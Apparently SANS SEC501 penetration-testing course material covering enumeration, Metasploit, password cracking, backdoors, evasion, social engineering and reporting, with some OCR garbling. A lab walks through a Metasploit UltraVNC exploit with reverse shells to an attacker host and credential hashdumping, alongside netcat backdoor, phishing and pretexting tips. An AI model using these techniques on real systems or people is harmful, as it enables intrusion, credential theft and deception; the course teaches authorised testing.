The next phase of penetration testing is the Enumeration phase. This is where several tools are used to enumerate services, open ports, passwords, security policies, user IDs, and other helpful items used to exploit the system. This section of the course covers the tools, techniques, and resources for enumerating system ports, users, services, banners, and other information of interest.



In general, enumeration can be performed for both internal and external testing, but tends to be most fruitful and applicable for internal testing scenarios. In this section, we describe a few useful tools and use cases for furthering your knowledge of systems and apps when testing internally.

This slide also lists the various types of information that enumeration techniques intend to uncover. Enumeration involves actively probing the system and includes banner grabbing, looking for open shares, and validating user accounts or groups. Therefore, enumeration is slightly more intrusive than scanning.



The Simple Network Management Protocol (SNMP) is often a good source of enumeration. Its default installation and lack of security make it a prime target for attackers. It uses a password authentication mechanism called a community string. Most devices ship with SNMP enabled and with a default community string (such as public) that the administrator forgets to change or disable. Depending on the device, you can gather a variety of information such as IP addresses to user names from SNMP traps. Even worse, SNMP can be used not only to read device information but also to change it by using the write community string, which may also be set to default or easy to guess. A simple denial of service attack can use SNMP to shut down the main router interface. SNMP communications before SNMPv3 also appear in cleartext. If you are sniffing the network during a penetration test, you may be able to pick up the community strings and other SNMP traffic. The snmpwalk command is an easy way to dump all of the contents of the management information base (MIB). The Solarwinds IP browser product also has a built in SNMP browser.



Another good source of enumeration is the Lightweight Directory Access Protocol (LDAP). Windows 2000 uses this protocol and calls it Active Directory (AD). This directory service holds a logical representation of the objects in the infrastructure, including users and groups. The Windows 2000 support tool called the Active Directory Administration Tool (ldp.exe) can be used to browse the contents of the Active Directory. Another popular free LDAP browser is the Softerra LDAP browser. A free version is available at http://www.softerra.com/download.htm.


Network File Sharing (NFS) allows transparent access to files and directories on remote Unix systems. There have been many buffer overflow vulnerabilities related to the NFS server, mountd. The Unix showmount utility is used to see what directories are shared on a system. Shared directories can then be mounted with the mount command. Another useful third-party tool is nfsshell, which can be used to easily show, mount, and manipulate NFS shares.



Remote Procedure Call (RPC) is another way to enumerate Unix information. RPC allows applications to communicate over the network. RPC uses the portmapper service to manage client requests and to dynamically assign ports for listening applications. The rpcinfo utility is much like the finger utility, but instead of users, it is used to enumerate listening RPC applications on a remote server, such as NFS. Finally, the nmap tool can also be used to enumerate RPC services by using the -sR command line switch.



One of the best tools for Windows enumeration is DumpSec by Somarsoft. DumpSec is a free security-auditing program for Microsoft Windows NT/2000. It dumps the permissions (DACLs) and audit settings (SACLs) for the file system, registry, printers, and shares in a concise, readable format, so that holes in system security are readily apparent. DumpSec also dumps user, group, and replication information. This tool is used by auditors and penetration testers, but also by attackers because it can perform enumeration over a null session.

The slide shows an example of the output generated by DumpSec. Here we can see the user policies for the Administrator and Guest accounts. In addition, DumpSec provides additional information that can be used for the penetration test, namely identifying user names, and other account statistics such as LastLogonTime. We also see the Report pull-down menu for DumpSec. This gives you an idea of how many things can be queried over a null session. This type of information is the beginning of a compromise because all the attacker needs to do to own the system is exploit the information found.



Enum is a free SMB enumeration tool with several features, including the capability to perform remote password guessing. It can be downloaded at

http://packetstormsecurity.com/advisories/bindview/. Enum's password policy enumeration allows an attacker to determine whether he can remotely guess user account passwords.



The next phase of penetration testing is the Exploit phase. This is where the real fun begins by compromising a system. It also involves escalating current privileges. However, this phase is the least methodical. It fully depends on the services, devices, and vulnerabilities discovered during the previous phases, as well as the available exploits. This section of the course covers the tools, techniques, and resources for exploiting a system. It also gives a few example scenarios of compromising a system.



Because there are so many vulnerabilities and so many methods of exploit, there is no way a course can cover all exploits, so we are going to focus on the most popular and quickest ways to exploit both Windows and Unix systems. This section also gives you a list of exploit resources for further reference.

Buffer Overflows

 Occurs when a program allocates a block of memory of a certain length, and data with more than the prescribed length is exceeded, causing a weakness in the computer's reliability and causing nondeterministic computer behavior

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A buffer overflow occurs when a program allocates a block of memory of a certain length and data with more than the prescribed length is exceeded, causing a weakness in the computer's reliability and causing non-deterministic computer behavior. It is usually a result of a lack of type and variable length checking within a computer program. These types of careless program errors can be easily corrected and avoided if programmers are aware of the security impacts of these types of errors. Buffer overflows are usually the method used to gain unauthorized access to a target system, and in some cases, compromise the target and obtain root or administrator access.



As mentioned in the previous slide, the exploitation success of a buffer overflow is based on two primary things. The lack of software variable and code boundary testing allow an attacker to overfill a variable memory space and cause a buffer overflow. In addition, computers are configured to allow the execution of data that resides on the stack. If aggregative testing of program code for buffer overflows and computers are not configured to execute the stack (a programming structure), the majority of buffer overflows could be severely mitigated.



No Operations (NOPs) are machine codes that are executed by the microprocessor that cause no change in the machine state of the computer to include machine registers or status flags. NOPs perform inert functions, such as adjusting the machine timing. Attackers can use NOPs to exploit a target system.

Attackers pad the beginning of the intended overflow with NOPs or inert operations prior to placing the malicious code on the compromised stack and replacing the return pointer value to a NOP address.



There are several methods for detecting buffer overflow and mitigating the effects of being attacked by a buffer overview. One of these methods is to review the source code and perform static code analysis. This method looks for strings as local variables in functions or methods and verifies the presence of boundary checks. In addition, extensive testing of code can be conducted to feed the application with huge amounts of data and check for abnormal behavior.



As discussed in the previous slide, if a manual audit of software code is not complete or is resource prohibitive, actions can still be taken to mitigate the effects of buffer overview. As discussed previously, one of the sources of buffer overflows is the ability to execute code on the stack. A plausible mitigation is to disable the capability of the machine to perform stack execution. In addition, during the compilation of source code and the use of buffer overflow, aware compliers will help identify and "fix" potential buffer overflow issues in the running software.



The first real category of exploitation tool is standalone source code that you can acquire and compile. Some exploits are written in Perl, Ruby, and Python, whereas many others are C, C++, and even Java. You may need to edit code or do your own testing to get these working.



This slide lists a series of pros and cons with exploit code. Standalone exploits are often released before other frameworks get them, and they may be the only options you have.

The code may be buggy, though, meaning you need to know how to code to fix them! Also, you take chances downloading code from shady neighborhoods on the Internet.



Metasploit (1)

The Metasploit Framework, developed by HD Moore and now owned by Rapid7, is a huge advancement in pen testing and exploits. All of the pieces and parts you need are in one place, allowing for flexible exploit creation and use, with a variety of payload and other pieces, too.

The framework includes:

- Exploits
- Payloads: stages and stagers
- Documentation
- Tools for exploit creation
- Multiple user interfaces

Payloads include stages and stagers, which are important to understand:

- Stagers: Establish communication channel with target
- **Stages**: Leverage communication channel to perform some action (usually start a shell listener, push a shell back to a listener, etc.)
- Singles: Stage and stager combined



Metasploit (2)

Metasploit has a huge number of exploits as of 2014. At the time of this writing, there's about 1,000 exploits in the framework, ranging from Windows to Unix to Linux and every other type of software you can imagine. There are plenty of browser exploits and others, too. All of the recent MSF exploits are written in Ruby, although the older frameworks were written in Perl.



Metasploit (3)

Let's examine a simple example of running an exploit:

To run an exploit:

- Start the MSF Console.
- Select an exploit: "use exploit/<dir>"
- Select a payload: "set PAYLOAD <dir>"
- Set options:
 "show options"
 set VARIABLE <value>
- Finally, "exploit."

In the screenshot, we're using a Windows FTP client exploit and gaining access to a Windows shell as the payload.



Metasploit (4)

The Meterpreter is a totally self-contained MSF-specific shell that runs against Windows systems. It runs entirely in memory, making it stealthy and difficult to detect. It has its own set of commands, including:

- **sysinfo**: System info.
- pwd: Present working directory.
- **ps**: Process status.
- getuid: Current UID of user context for Metasploit.
- getpid: Current PID of the process Metasploit is inside.
- migrate: Move to a different process.
- **execute**: Run a program.
- kill: Stop a process.
- edit: Editor similar to VI.



Metasploit (5)

One additional item of note is the Metasploit Priv module, which extends the Meterpreter (built-in now, although used to be separate) and grants the tester some new capabilities. These include:

- hashdump: Dump the Windows hashes running in current memory owned by the Local Security Authority (LSA). This can also be run with the "run hashdump" command, which tries to extract the SYSKEY encryption key to extract credentials.
- **timestomp**: Change the Modified/Accessed/Created times (as well as the Master File Table entries) for any file.

The slide shows an example of the hashdump module in action, dumping Windows password hashes directly from running memory. Ouch!



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Install the "UltraVNC-102-Setup.exe" file from your SEC501 Days 1-3 USB Day2 folder onto your Windows system. Follow all the default prompts, and then click Finish. You can easily uninstall this after class, and at least you have no listening services that are vulnerable! This software is vulnerable only when it CONNECTS to a malicious system, which is why we chose it for class.

- 1////				
 show 	/ msrcons / exploits	ole al	t a command prompt	
 use e 	exploit/w	indov	vs/vnc/ultravnc_viewer_bof	
• show	options		· · · 	
<u>msf</u> > use expl msf exploit()	loit/windows/vnc/u	iltravnc_vi	lever_bof	
Hodule options	<pre>certain_vindows certaint/windows certainty c</pre>	/vnc/ultra	avnc viewer bof):	
Name	Current Setting	Required	 Description	
SRVHOST	0.0.0	yes	The local host to listen on. This must be an address on the local machine or	
0.0.0.0 SRVPORT	5900	yes	The VNCServer daemon port to listen on	
	false	no	Negotiate SSL for incoming connections	
SSL		110	rate to a custom SE CEILILLARE (Delaute 15 fairboardy generated)	
SSL SSLCert SSLVersion	SSL3	no	specity the version of SSL that should be used (accepted; SSL2, SSL3, ILST)	
SSL SSLCert SSLVersion	SSL3	nø	Specity the version of SSL that should be used (accepted: SSL2, SSL3, ILS1)	

You may need to disable any Windows-based firewall for this exercise. Now run the MSF console.

./msfconsole

Take a look at the exploits you have available:

show exploits

For this class, you will use the UltraVNC Viewer exploit:

use exploit/windows/vnc/ultravnc_viewer_bof

Take a look at your options in the MSF:

show options

.



Now, set the following options:

set PAYLOAD windows/shell/reverse_tcp (We want a shell connection to come back to us.)

set LHOST 10.10.0.11 (Listening host for shell connections, in this case our Kali image.)

set SRVHOST 10.10.0.11 (Host serving the VNC server, also the Kali system.)

Check your options again by entering **show options**, and leave all other options as the defaults.

Type **exploit** and press Enter!



Now you can connect from Windows to the malicious VNC server by running the VNC Viewer. Click Start→Programs→UltraVNC→UltraVNC Viewer.

Enter 10.10.0.11 as your VNC server, and then click Connect. This should trigger the exploit and payload.

Now return to Kali; you should have a connection!

If the Metasploit exploit seems to be "hanging," you may have to press Enter, then type **sessions -l** (lowercase L) to list your session number, and then enter **sessions -i <number>** as shown in the screenshot. Your session number will likely be 1.

This should get you to a command prompt on the host system. Run some commands and explore for a bit.



Let's explore a different payload, the Meterpreter. First, background your shell in MSF by pressing Ctrl-Z and "y."

Now enter the following:

- set payload windows/meterpreter/reverse_tcp
- set LPORT 5555
- set SRVPORT 5999
- exploit

In Windows, connect with the UltraVNC viewer again, but enter "10.10.0.11:5999" in the window before clicking Connect.

You should now have a Meterpreter session!

- List sessions and interact with session #2.
- You should get a "Meterpreter>" prompt within MSF.



Now, at the Meterpreter prompt, type the following:

sysinfo getuid ps pwd cd c:\ execute -f notepad.exe ps getpid migrate <notepad PID> getpid hashdump (may not work in some cases) help

What other fun commands can you execute? Press Ctrl-Z to background this session. Now, type **sessions -I** (lowercase L) to get a list of sessions. To go back to your original session, type **sessions -i 1**.



In this lab, we had some fun with Metasploit! You can close your UltraVNC windows now and type "exit" at the MSF prompt.

Consider the SANS SEC560 or SEC580 classes to learn more Metasploit techniques.

Sniffers (1)

- Self-contained software program or hardware device
- Monitors network data as network probes to examine traffic, such as clear-text users and passwords traversing the network; however, it does not intercept or alter the traffic
- Usually focused on TCP/IP packets, but some sniffers can examine more protocols and other layers of the OSI stack
- Good tool to use against non-secure protocols, such as Telnet, FTP, and HTTP

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Sniffers (1)

Sniffers are self-contained software programs or hardware devices used to monitor network data. They are usually used to detect clear-text user IDs and passwords and other important information traversing the network. Sniffers are usually passive in nature and are difficult to detect. Non-secure protocols, such as HTTP, FTP, and Telnet, are usually targets of sniffers. It is recommended that secure, encryption-aware protocols be used, such as SSH, SSL, and HTTPS, to transmit data across the network. This method usually protects against sniffers.



Several flavors of sniffers perform the sniffer function to monitor traffic. These tools include Wireshark, a popular, free, and open source sniffer, and Snort, another popular sniffer.



Two types of sniffers exist: passive and active. Passive sniffers listen to network traffic without adding any traffic to the network. In addition, they are used in hub-based networks so they are able to view network traffic across the entire target network segment. Active sniffers are usually used in switch or protected network segments. In this situation, it is not possible to view all network traffic on the target network segment due to the operation of the switch. To be considered an active sniffer, the tool injects traffic to network traffic and listens to traffic and response answers.



In this type of exploit, attackers position themselves between two systems and participate in the connection process between the two systems. This is usually a difficult type of exploit due to TCP sequence numbers or secure communications.



Session hijacking is a type of Man in the Middle attack that monitors for a trusted and established session between two systems. In order to be successful, the attacker must first attempt to desynchronize the session between the two systems by sending in null ACK and sequence numbers. Then, the attacker must reset the connection for the attacker to establish a trusted connection with the target system.



There are two types of session hijacks. Active Session Hijacks use active session and take over the session and interact with the target system as the other system. Passive Session Hijacks use an active session and take over the session and monitor all traffic sent between the two systems.



There are several tools in the penetration testing suite that can perform session hijacking. These include Ettercap, Cain, and the Dsniff suite. Some older legacy tools include:

- Juggernaut
- Hunt
- TTY Watcher
- IP Watcher
- T-Sight



There are a number of password attacks and tools. The first type of password attack is password guessing, where you continually send usernames and passwords to a listening service, attempting to successfully guess the correct combination.

The second type of attack, password cracking, is an attack against actual encrypted password hashes that have been acquired in some way.



One of the best-known password-guessing tools is Hydra, from The Hacker's Choice. It supports a wide variety of authentication types, including:

- Telnet and SSH
- FTP, HTTP, and HTTPS
- SQL Server, MySQL, and Postgres
- Cisco
- SMB

You can also tailor your password-guessing lists with its "pw-inspector" tool. Easy to use and flexible, this is another classic tool to have in your toolkit as a pen tester.


Once again, passwords are possibly the most valuable commodity for an attacker, because they lead to more information and access. Windows NT stores passwords in the NT Security Accounts Manager (SAM). Windows 2000 and beyond stores them in the Active Directory. The SAM contains usernames and hashed passwords of all users on the local system or the domain. If you have physical access to the target, you can boot off of an alternate OS and copy the SAM to crack offline. However, most remote penetration tests won't have physical access to the target. Therefore, you must use the tool pwdump or fgdump (a newer variant) to get the password file. Once you have the password file, you can use the tool L0phtcrack 6 to extract the passwords.



The Pwdump family of tools extracts Windows hashes from the running memory of the system, specifically in the Local Security Authority (LSA) process. Extracting this data can cause all sorts of issues, and requires admin privileges.

Modern versions in use include pwdump3-pwdump6, and the fgdump tool from the Foofus hacking group is a newer offshoot that is extremely effective (it can also perform a local password cache dump).



Rainbow tables are tables of pre-computed hashed passwords:

- Only work for passwords that do not use salts!
- This usually boils down to NT LANMAN and NTLM hashes.

A number of Rainbow tables are available at:

- Shmoo Group: rainbowtables.shmoo.com
- RainbowCrack: http://project-rainbowcrack.com



Cain, while listed here as a password-cracking tool, is much more than this. It can decode hashes, sniff packets, perform ARP cache poisoning attacks for MITM, and even generate RSA token values from seed files! Cain unfortunately does not support Linux password cracking, but there are plenty of other tools for that, as discussed in a moment.



Unix passwords can be broken the same as Windows passwords by either guessing the password via a remote connection or cracking the password file. Several services can be targeted for password guessing, including FTP, Telnet, R utilities, SSH, SNMP community names, mail, and HTTP authentication. A good tool to use for remote password guessing is Brutus.

If you have obtained some sort of local access to the system, you can try cracking the Unix password file. This is done by encrypting text and comparing it to the encrypted password hash in the /etc/passwd or /etc/shadow files. Two great Unix password-cracking tools are Crack and John the Ripper.

John the Ripper
• Free
 Windows and Unix
C:\john-16\run>unshadow passwd.txt shadow.txt > passwd.1
C:\john-16\run>john passwd.1
Loaded 2 passwords with 2 different salts (FreeBSD MD5 [32/32])
tattoo (testuser)
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John the Ripper is a password cracker for Windows and Unix. It is a command line tool that performs only dictionary cracking. First you need to combine the password file and the shadow file using the unshadow command. After the passwd and shadow files are merged, the john executable can be used to crack the passwords and display the results on the screen. In this example, testuser has the password of tattoo, which is easy to pick up with a dictionary attack.



To begin, wireless technology uses the IEEE standard 802.11x. We discuss this in more detail in the next slide. In order to deploy a wireless network, you must use an Access Point. Access Points are hardware devices with software enabled to emit an IEEE 802.11-compliant wireless signal, usually identified by SSID. Attackers leverage discovering a wireless network through the SSID. It is recommended that SSIDs are not advertised, due to the information collected, and detection of a SSID. Users of the wireless network can still connect to an unadvertised SSID as long as they already know the SSID through non-technical methods. Usually, in parallel to deployed wireless networks is the use of encryption. WEP is the commonly used encryption method to protect wireless networks. Newer technologies such as WPA and WPA2 have been seen as more secure encryption mechanisms.



Netcat is by far the easiest remote control backdoor to install on a system. It can be configured to listen on a certain port and launch an executable when a remote system connects to the that port. A backdoor can be implemented by triggering netcat to launch a command shell. The slide shows an example command line usage for setting up a netcat remote shell on the target. The -l tells netcat to run in listen mode, the -e specifies the executable to launch, and the -p specifies the port to listen on. This returns a remote command shell when you connect to port 82, as shown in the next command. In addition -L restarts netcat with the same command line when the connection is terminated.

If a remote command shell is good, a remote GUI is even better. VNC is a good, free tool to use. It is also easy to install over the remote connection. Once installed, you assign it a password and tell it to listen for incoming connections.



Once an attacker compromises a system, he usually installs a rootkit to cover his tracks and create future access into the system. This usually consists of Trojan programs such as login, netstat, ps, backdoor access, sniffers, and log cleaners. Trojan programs will hide processes and log usernames and passwords. Backdoors are created with Trojan versions of inetd or by creating a netcat or some other type of listener. Sniffers allow the attacker to eavesdrop on other network communications and collect passwords. Depending on the Rules of Engagement, some penetration testing allows the installation of rootkits to obtain further access in the network; however, some testing stops at the initial compromise.

Traditional rootkits as just discussed are being replaced by more advanced kernel level rootkits. These rootkits actually modify the running Unix kernel to fake all system programs without modifying the programs themselves. Loadable Kernel Modules (LKM) are typically used to intercept system calls and modify them in order to change how the system reacts. Rooty is a popular kernel rootkit for Linux.

Exploit Links

- http://www.packetstormsecurity.com
- http://1337day.com/
- http://www.securiteam.com/exploits/
- http://www.hoobie.net/security/exploits/
- http://www.exploit-db.com
- http://www.metasploit.com/modules
- http://www.securityvulns.com/exploits/

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This slide lists some resources to find exploits for vulnerabilities. You must be careful where you get your exploits, because some are actually keyloggers, viruses, etc. that can infect a system. Always have a system to download and test exploits that you would be able to reformat and reinstall the OS.



Web Server Testing (1)

Due to increased popularity, Apache and IIS are the two most-used web servers available. As a result, there are several exploits against these web servers. Port 80 and HTTP are common ports and protocols used and are usually allowed through to the target network. Attacks and exploits are similar to other attacks on other types of servers.



As with any server, web servers should have only the capabilities required to provide the webbased services, such as serving up web pages. If the server requires dynamic code, such as PHP or ASP, it is critical that web servers be configured to allow the applications to perform only the required functions for the web page or web-based application. Permissions for web-based files should be limited to allow access only to the root directory of the web directory, not the entire server directory. Web servers should run as a limited service on the host server, and not as the administrator or root access. Because web servers are usually a point of entry into the target network, it is common to have a network switch and firewall-based DMZ where the web server resides. Using this network configuration, it will limit the impact of a compromised web server on the target network system.



There are several attacks on web-based applications, which are similar to non-web based applications, just conducted over the TCP/IP port 80. These attacks include:

- Special characters not escaped
- HTML output character filtering
- · Root directory accessibility of web applications
- Application has excessive system permissions, usually run as root/administrator user (improperly configured)
- Use of ActiveX/JavaScript or mobile code authentication
- · Lack of user authentication prior to executing critical functions
- Lack of user input validation resulting in being vulnerable to cross-site scripting
- Cookie hijacking

One of the most common types of attacks is due to using invalidated input that is allowed on web-based scripts and other applications, such as CGI. It is always recommended you check user inputs to disallow simple exploits.



This type of attack is focused on executing SQL commands on the target database. As mentioned in the web application section, this type of attack is successful because applications that leverage databases do not check the validity of the SQL input prior to allowing execution of the malicious SQL command. In most cases, this type of attack is used during the information-gathering phase of a penetration test, because it will be rarely noticed as an attack. It will be seen as a valid query to the running database. It is usually to collect information contained in the database not usually acquired by a SQL application. Such queries would include knowing the underlying database schema. This information would be helpful to understand what type of information is contained in the database, and focus the information-gathering activity. Additions, updates, and deletions of the database would be made to introduce errors in the database used for the enterprise. For example, in a user database, an attacker could add a new user to the database and then use social engineering techniques to have a password generated for the new user.

Evading IDSes

 Most IDSes work on pattern matching. With that in mind, an attacker would attempt to change the pattern used to monitor benign traffic. In addition, it would be possible to make the attacking traffic look like benign traffic through analysis of benign traffic during the information-gathering phase.

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Most commonly used IDSes work on pattern matching. With that in mind, an attacker would attempt to change the pattern used to monitor benign traffic. In addition, it would be possible to make the attacking traffic look like benign traffic through analysis of benign traffic during the informationgathering phase. As with any security protection strategy, it is recommended to have a defense-indepth approach. This means that it is not usually sufficient to use only one type of protection mechanism to defend your network. A layered approach to defending the network incorporates various sources to readily, with high confidence, identify that an attack is ongoing, and the ability to prepare a well-thought out response to the attack.

Bypassing Firewalls

 Firewalls typically allow common ports and protocols to follow through the device to enable business activities, such as e-commerce, and usually left unchecked for content. Attackers use this knowledge to perform their malicious activities over those open ports, such as Port 53 TCP, Port 80 HTTP, and Port 443 HTTPS.

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Firewalls typically allow common ports and protocols to follow through the device to enable business activities, such as e-commerce, and are usually left unchecked for content. Attackers use this knowledge to perform malicious activities over those open ports, such as Port 53 TCP, Port 80 HTTP, and Port 443 HTTPS. It is recommended to use stateful and content-inspection firewalls. These types of firewall capabilities further mitigate the effects of attackers using commonly used ports and protocols. One additional security strategy is to use uncommon ports and protocols for the services deployed on the network. Proxies that act as the agent to mediate actions in the network and the deployed services are also recommended. Using this method can make your services undiscoverable by browsers for web-based applications, or they require reconfiguration of applications configured to listen and respond on a specific, commonly used and industry-wide port and protocol. It is also good to note that this is a difficult challenge to protect against, and it is usually an accepted risk in most enterprises.

Social Engineering (1)

- Use of influence and persuasion to deceive people for the purpose of obtaining sensitive target information or for the victim to perform an action, enabling access to the target, usually by a sense of trust or authority of the attacker
- Preys on human behavior and works to befriend the victim to obtain the information
- Does not focus on technology to access the target system
- Kevin Mitnick used social engineering to gain access to target systems

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Social Engineering (1)

Social engineering is defined as the use of influence and persuasion to deceive people for the purpose of obtaining sensitive target information or for the victim to perform an action enabling access to the target, with or without the use of technology, usually by a sense of trust or authority of the attacker. The penetration testing technique preys on human behavior and works to befriend the victim to obtain the information. Infamous hackers, such as Kevin Mitnick, use social engineering to gain access to many target systems. In some cases, social engineering is an effective way to obtain access and information on the target system without using extensive resources to crack password files and other methods.



Social engineering is a great way to get passwords and other information without much effort. Some penetration tests include this aspect and some don't. If you are lucky enough to be able to do some social engineering, here are some tips. Typical social engineering attacks occur via phone or e-mail. They involve some sort of human conversation or other interaction that uses persuasion or deception to gain access to information. Social engineering is where the reconnaissance phase becomes handy. The more information you have, the more convincing you will be.

A typical social engineering attack is known as the helpless user, usually combined with being remote or on travel. Here, the attacker masquerades as a remote user with an important deadline to meet. Often impersonating someone high up in the organization helps. Helpdesk or other support personnel may be pressured into giving passwords or resetting them. Or, they provide other types of information to the attacker, because people tend to genuinely want to help the helpless.

On the other side, another typical social engineering attack is when the attacker pretends to be a technical support person and gets information out of an innocent (but ignorant) user. This is often the easiest and best way to get passwords, especially if you blame the problems on system trouble on upgrades. Rank helps in this scenario, too.

Lastly, social engineering is often used via e-mail to get users to execute or download attachments. This is closely related to phishing, which is discussed next.

Kevin Mitnick was known for being a great social engineer. His book, *The Art of Deception* is a great resource.



There are several reasons why social engineering works. People are conditioned to trust and help out others in times of need, especially if they are liked by or attracted to the individual (user lost password, etc.), and they are conditioned to follow perceived authority figures so that they don't get in trouble with the boss. In addition, people are conditioned to be pressured to do what they perceive everyone else is doing. These conditions of human behavior are usually developed as part of being in a social environment and they model other peoples' actions in similar situations.



Phishing attacks are well known and understood, although this makes them no less effective!

Targeted e-mails have a high success rate in clicking links and opening attachments. There are a lot of ways phishing attacks work, but usually they consist of a link to a malicious site that hosts exploit code or they include a malicious attachment that executes locally.

Keys to success for phishing include:

- Well-written, legitimate looking e-mail content (the message uses appropriate spelling and grammar).
- There is a direct relationship to the target; if the e-mail is specific to the target user, it is more likely to read and respond.
- A trusted source (person or organization) is involved; targets are more likely to read an email from a source they trust.

Phish	ning Examples
Fron: PayPal Billing Department -Billing SPayPal Lom- Subject: Credit/Debit card update Data: May - 2006 doi:16.06 PD1 Tota: Tampe - Statist partmens.com Prophysic: USR-gal PayPal.com	იძნა, 55000000 No.4 Anton სიკ. არძი კა დ. ით. ნავ. იძი კა იკ. იკ. ნავ. იკ. ნავ. იკ. ნავ. იკ. ნავ. იკ.
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Due to concerns, for the safety and integrity of the paypal account we have issued this warning message.	FIGURE OF TOT PERSON TO DIAL WEIGHT. CHILD AND DATE FOR A COLLUCIES OF RESERVE. TOTAL PERSON - IN BRANKING AL REPORT OF COLLUCIES AN ESTADOLOGIES.
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This slide shows some examples of phishing attacks.

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Pretexting is simply the act of calling people and asking for information. Kevin Mitnick was a master of this type of social engineering, as mentioned earlier.

Finding people's numbers is simple, if you recall from the reconnaissance discussion. Tools for pretexting include:

- Asterisk PBX: You can tweak and configure Asterisk to do all sorts of spoofing, etc.
- **SpoofCard**: Buy minutes and spoof away!
- **SpoofApp**: This is an app for your phone!

Pretexting has become less successful in recent years, because more and more people are becoming wise to these malicious attempts.



Tailgating is physical social engineering that relies on assistance from employees in most cases. The goal is for a pen tester to gain access to secure locations or systems illicitly.

The key to tailgating is adhering to organizational norms, such as:

- Dress code
- Mannerisms
- "Looking the part"
- Behaviors (smoking outside, for example)



Dropping USB sticks with malware or other tools in the parking lot—who would fall for that? Well, unfortunately, many do. This can be a successful technique for pen testers.

The key is to keep it simple. Make the USB or DVD attractive to users by printing a small label and attaching it. Use some sort of phrase or keyword that gets people's attention, such as "Executive Bonus Plan"—everyone wants to see that!



Believe it or not, this works better than you can imagine! People will pick this up from a building lobby floor or a parking lot and plug it in more times than not. Amazing, but true.



Sometimes "physical penetration testing" is lumped together with social engineering, although they are not the same thing. Social engineering targets the human, whereas physical testing focuses in on physical security parameters such as locks and doors.

Physical hacking can include:

- GPS tracking
- Lockpicking
- Camera installation/manipulation
- Microphone plants



One well-known example of a social engineering tool is the Social Engineering Toolkit (SET) by Dave Kennedy and team. This is built into Kali, and it has a staggering number of capabilities.



There are now commercial phishing tools available from companies such as PhishMe and Wombat Security (PhishGuru).



Let's quickly describe the pivoting or post-exploitation phase.



There are three major things to consider in the pivoting phase of a pen test: threat vectors, time, and security measures.

With threat vectors, consider the following:

- What systems are vulnerable from what systems?
- Are trust relationships and/or access controls too weak from the inside?

You also need to consider time. How long does it take to exploit Target 1, Target 2, and so on?

Finally, what kinds of security measures are in place for local hosts? These can be tested from an internal perspective with a successful initial exploit.



Once you gain access to systems, you should look at the local systems to find additional data and details that could lead to further compromise or more severe issues for the organization. Look for credentials and passwords, sensitive data (if it is in scope), local access controls, trust relationships, and so on.



Finally, reporting is an important part of basic pen testing. Although it's not the technical tester's favorite topic, it's a useful thing to do well, trust us.



People who have been professional pen testers for any length of time will often tell you that reporting is the most important stage of the process. Why? Simple! It's the culmination of everything you've done, and what people will remember you by.

Goals of reporting include:

- Explain the risks faced by the organization based on the outcome of the test(s).
- Describe the technical details of the problems found and how they were discovered.
- Provide detailed guidance on how the organization can fix the problems; include links to external resources.
- Explain the assessment methodology and tools employed during the tests so that the results are repeatable.

At the end of the reporting phase, you should have something presentable that makes sense to a variety of different readers.



This slide details a basic report outline:

Executive Summary

Introduction

Technical Summary

Technical Detail

• Findings (Low to High Risk)

Conclusion

Appendices

- Methodology
- Tool Results

Let's take a look at a few key areas.



The Executive Summary should be a kind of "report within the report." It should stand on its own, only consist of two-three pages, and provide executive decision makers with the detail and context they need to understand what is going on.

The format should consist of something along these lines:

- Short explanation of project:
 - Goal(s)
 - Initiator
 - Scope Description
- Short explanation of results with specific emphasis placed on business risks:
 - Short points on major technical risks and what will fix them (stay out of the weeds here)
- Conclusion

If you get only one part of the report exactly right, make it this section!



In a pen test report, you will describe technical issues and other flaws of your organization, and as such, you need to articulate how you came up with the various risks that you label them with. Most vulnerability assessments and penetration tests have either a three-point (High-Medium-Low) or a five-point (Critical-High-Medium-Low-Info) scale used to describe vulnerabilities. Each of these ratings (whatever scale you use) should be clearly described on a single page of the report called "Risk Rating Summary" or something similar. An example is shown on the next page.


It is always important to have a risk rating scale; yours will likely vary somewhat, and it should! These are generally subjective, but should be clearly laid out.



One thing this course author has seen too many times to count in pen test reports is context. This means including relevant information about the target environment that impacts the risk ratings of noted vulnerabilities. Things that factor into context include difficulty of exploit, additional controls in place or missing, specific testing circumstances, etc.

There are two options for leveraging contextual data:

- Information you have gleaned from the test itself about the environment (ideal)
- Information you have been provided by the target organization (secondary option)

A phased testing/reporting engagement with a round of findings interviews and adjusted reporting can be effective in providing the most accurate risk ratings. In other words, try to incorporate a few rounds of draft reports if you can!



The introduction and conclusion sections of the report act as the "book ends" to the report. The introduction should include project details, such as the tests performed, who asked for them, when they were performed, contact details, etc. You should also consider including high-level results, similar to the Executive Summary.

The Conclusion should ideally be one-two pages at most. It should provide a simple (bulleted) recap of the tests and findings, next steps, and final words about the project. As a rule, I always try to include something nice in this section if I can, as it leaves people with a better feeling than purely "doom and gloom." Granted, some tests are so revealing that there's little nice to say, sadly.



All the details go in the technical section of the report. For each vulnerability found, you should include:

- The name of the vulnerability
- Systems affected
- Risk level (High, Medium, Low): Describe the impact to business here
- Technical details
- Attack vectors and exploit description
- Recommendations
- References

This section can be as deep as you think it needs to be or what the business/IT sponsor requires.



This course presented the various phases of the penetration testing methodology. It also covered the tools and techniques to use for testing and several advanced topics. The methodology follows a clear set of steps to identify targets, find weaknesses, and exploit those weaknesses. Make sure that you create detailed rules of engagement and get members of the target organization to sign it.

A key trait of being a good penetration tester is to know how the attackers think and what tools and techniques they use. Try to think like an attacker when doing the testing and follow the same practices.

Another good trait is to be detailed-oriented. You must keep good notes on exactly what you do each day. This includes the tests performed and targets hit. This not only makes writing the final report easier, but it helps with status meetings and it helps to cover the tester in the event of an unexpected disruption.

Once the test is done and the report is completed, don't just drop the ball. Make sure you have follow-up meetings with the organization, answer any questions, and provide mitigation assistance. Finally, but certainly not least, don't take it personally when the internal personnel such as IT administrators get angry or hostile at the results. These employees do not want to hear about vulnerabilities because they feel like it is an attack on them or that they are not doing their job. In the final meeting, these employees may become angry or react as if the results are wrong, and they may be in denial. It is best to have the lead penetration tester, or the most senior person such as the project manager lead this discussion with several senior testers available to answer technical details. If the environment becomes tense, just remain calm, don't place blame, and offer solutions to fix the problems. You might also have to take some time to explain the criticality of certain vulnerabilities so that the organization's leadership understands the potential consequences.



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Continuing thoughts from the previous slide ...

For both Windows and Linux/Unix, there are common things you should do/check after exploitation. Many never discuss this. The next section outlines a solid list of commands and files to focus on for both platforms after exploitation. Treat it as a reference.



This slide depicts post-exploitation files to check for more useful information.

LINUX System Checks			
		Letter on a strength	
uname -a	gcc -v	last -a	
ps aux	mysqlversion	lastcomm	
top -n 1 -d	perl -v	lastlog	
id	ruby -v	lastlogin (BSD)	
